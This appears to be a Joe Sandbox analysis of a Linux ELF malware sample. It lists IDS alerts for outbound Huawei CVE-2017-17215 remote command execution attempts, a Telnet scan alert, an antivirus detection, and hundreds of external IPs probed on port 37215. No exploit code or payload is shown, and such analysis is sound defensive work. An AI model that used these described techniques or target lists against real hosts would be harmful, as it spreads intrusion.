ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 90.53.11.109

Timestamp:	2024-07-26T17:43:34.580639+0200
SID:	2835222
Source Port:	54452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.17.117.214

Timestamp:	2024-07-26T17:42:30.816008+0200
SID:	2835222
Source Port:	48140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 211.23.96.64

Timestamp:	2024-07-26T17:42:22.972600+0200
SID:	2835222
Source Port:	42566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.237.55.185

Timestamp:	2024-07-26T17:42:24.310624+0200
SID:	2835222
Source Port:	55950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.231.152.147

Timestamp:	2024-07-26T17:42:30.845979+0200
SID:	2835222
Source Port:	51800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 128.101.44.134

Timestamp:	2024-07-26T17:42:38.337633+0200
SID:	2835222
Source Port:	47086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 103.221.195.65

Timestamp:	2024-07-26T17:42:24.287612+0200
SID:	2835222
Source Port:	46272
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.4.50.253

Timestamp:	2024-07-26T17:42:03.752017+0200
SID:	2835222
Source Port:	45754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.41.139.100

Timestamp:	2024-07-26T17:42:56.991180+0200
SID:	2835222
Source Port:	55834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.12.247.102

Timestamp:	2024-07-26T17:42:24.298798+0200
SID:	2835222
Source Port:	56840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 18.103.70.31

Timestamp:	2024-07-26T17:42:24.169820+0200
SID:	2835222
Source Port:	54124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.5.74.91

Timestamp:	2024-07-26T17:42:18.873055+0200
SID:	2835222
Source Port:	54880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.234.205.179

Timestamp:	2024-07-26T17:42:27.586008+0200
SID:	2835222
Source Port:	33430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.166.67.216

Timestamp:	2024-07-26T17:42:24.486351+0200
SID:	2835222
Source Port:	57436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.182.165.153

Timestamp:	2024-07-26T17:42:38.401717+0200
SID:	2835222
Source Port:	50278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SCAN Behavioral Unusually fast outbound Telnet Connections, Potential Scan or Brute Force - Source IP: 192.168.2.15 - Destination IP: 132.52.221.28

Timestamp:	2024-07-26T17:43:00.052061+0200
SID:	2008230
Source Port:	13638
Destination Port:	23
Protocol:	TCP
Classtype:	Misc activity

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.63.142.186

Timestamp:	2024-07-26T17:42:03.751846+0200
SID:	2835222
Source Port:	43354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.231.94.32

Timestamp:	2024-07-26T17:42:24.287611+0200
SID:	2835222
Source Port:	47796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.180.65.41

Timestamp:	2024-07-26T17:42:22.887938+0200
SID:	2835222
Source Port:	59960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.234.173.92

Timestamp:	2024-07-26T17:42:22.877606+0200
SID:	2835222
Source Port:	46172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.20.180.36

Timestamp:	2024-07-26T17:42:23.658776+0200
SID:	2835222
Source Port:	33476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.94.70.105

Timestamp:	2024-07-26T17:42:58.924544+0200
SID:	2835222
Source Port:	42902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.13.172.123

Timestamp:	2024-07-26T17:43:10.649271+0200
SID:	2835222
Source Port:	34372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.34.106.183

Timestamp:	2024-07-26T17:43:12.327177+0200
SID:	2835222
Source Port:	40056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 211.6.214.175

Timestamp:	2024-07-26T17:42:22.882517+0200
SID:	2835222
Source Port:	49092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.13.52.160

Timestamp:	2024-07-26T17:42:38.606562+0200
SID:	2835222
Source Port:	57936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.202.26.77

Timestamp:	2024-07-26T17:42:24.225193+0200
SID:	2835222
Source Port:	59600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.94.80.115

Timestamp:	2024-07-26T17:42:38.560538+0200
SID:	2835222
Source Port:	59070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.198.47.93

Timestamp:	2024-07-26T17:43:12.316305+0200
SID:	2835222
Source Port:	42854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 109.155.217.16

Timestamp:	2024-07-26T17:42:23.517115+0200
SID:	2835222
Source Port:	55404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 128.210.223.33

Timestamp:	2024-07-26T17:42:24.473073+0200
SID:	2835222
Source Port:	56630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.76.165.220

Timestamp:	2024-07-26T17:42:24.299738+0200
SID:	2835222
Source Port:	54560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 116.216.82.226

Timestamp:	2024-07-26T17:42:54.249923+0200
SID:	2835222
Source Port:	59260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: WIwTo1UTMq.elf

Avira: detected

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 112.234.47.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.143.15.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.171.72.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.17.93.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.180.119.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 54.163.65.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.103.38.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 204.143.116.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.144.27.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 209.42.232.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.175.33.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 153.15.187.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.130.223.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 213.97.112.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.1.219.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.167.160.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.135.220.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.142.153.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 73.197.53.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.81.94.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.138.212.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.235.152.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.96.30.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 24.231.168.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.117.193.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.214.2.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.143.39.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.172.134.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.145.126.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.165.200.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.210.186.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.157.76.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.154.48.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 14.64.173.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.27.89.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.234.173.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.102.255.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.163.5.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 220.221.227.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.98.34.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 163.157.201.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.239.10.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.74.229.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.42.124.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.27.89.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.79.237.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.235.15.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 18.189.172.188 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.87.177.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 23.54.198.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.32.159.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 138.222.91.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.198.230.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.36.106.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.83.73.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.176.233.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.47.175.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.165.147.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.181.197.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.122.156.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.108.26.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.0.177.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.121.110.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.254.50.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.2.254.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.5.185.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.42.39.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 173.34.24.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.242.102.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.76.165.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 73.101.145.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.12.225.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.163.236.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.133.216.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.189.80.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 158.129.148.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.238.195.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 96.106.11.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.190.82.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.0.76.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.195.17.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 8.236.68.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.211.38.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.33.177.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.73.201.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 66.64.24.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.240.84.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.210.89.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.30.209.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.237.142.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.204.92.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.25.91.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.93.55.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.64.35.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.30.22.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.124.151.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.0.123.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.86.246.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.167.66.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.205.139.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.91.212.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.88.236.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.94.112.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 204.243.88.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.175.183.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.16.54.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.102.130.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 211.23.96.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.111.174.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.60.145.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.194.216.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 84.142.70.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.169.9.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 57.167.162.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.229.153.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.58.42.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.108.103.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.11.38.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.222.248.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.103.207.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.188.129.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 148.54.208.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.86.231.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.252.64.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.25.190.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.15.230.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.36.157.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.140.89.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 106.205.211.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.67.97.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 190.25.101.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.30.1.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.114.251.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.156.14.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.130.148.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.78.61.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.1.190.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 76.116.2.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.135.96.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.60.223.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.87.116.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.31.190.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 43.151.189.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.65.32.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.93.183.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 31.30.142.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.193.219.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.113.28.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.6.156.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.129.94.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 213.199.74.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.212.231.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.130.107.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 23.114.18.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.146.117.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.95.217.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.232.234.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.48.112.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.12.77.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.172.255.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 81.248.74.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.155.48.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.15.53.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.121.253.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 200.16.103.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.78.44.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.132.98.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.43.64.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.171.191.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.146.55.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.81.115.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.197.180.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.86.117.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.189.211.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 181.105.45.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.79.248.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.158.124.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.168.94.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 91.164.224.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.78.110.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.160.9.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 144.93.197.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.0.33.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 25.90.46.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.19.62.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 38.110.93.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.221.241.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.204.62.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.103.19.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.32.97.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.189.110.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 202.201.192.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.142.186.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.68.254.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.179.100.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 2.76.241.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 190.217.224.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.138.56.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.160.227.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 19.12.63.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.25.156.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.255.12.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 101.147.45.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 68.167.0.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.11.65.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.83.232.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.144.55.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.15.182.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.185.20.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 112.241.158.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.60.184.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 100.55.79.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 223.164.117.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.100.174.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.112.4.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.10.215.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 38.159.80.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.77.109.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.68.73.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.20.180.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.113.87.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.151.238.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.0.130.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.106.215.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.198.242.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.157.131.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.160.10.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.119.153.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.134.35.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.205.241.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.95.182.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 2.38.61.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.59.175.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.180.65.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.6.12.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.25.38.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.247.235.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.242.228.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 154.7.158.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.146.215.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.226.48.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.55.10.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 123.21.83.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 129.20.199.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.27.72.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.139.6.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.94.11.186 ports 1,2,3,5,7,37215
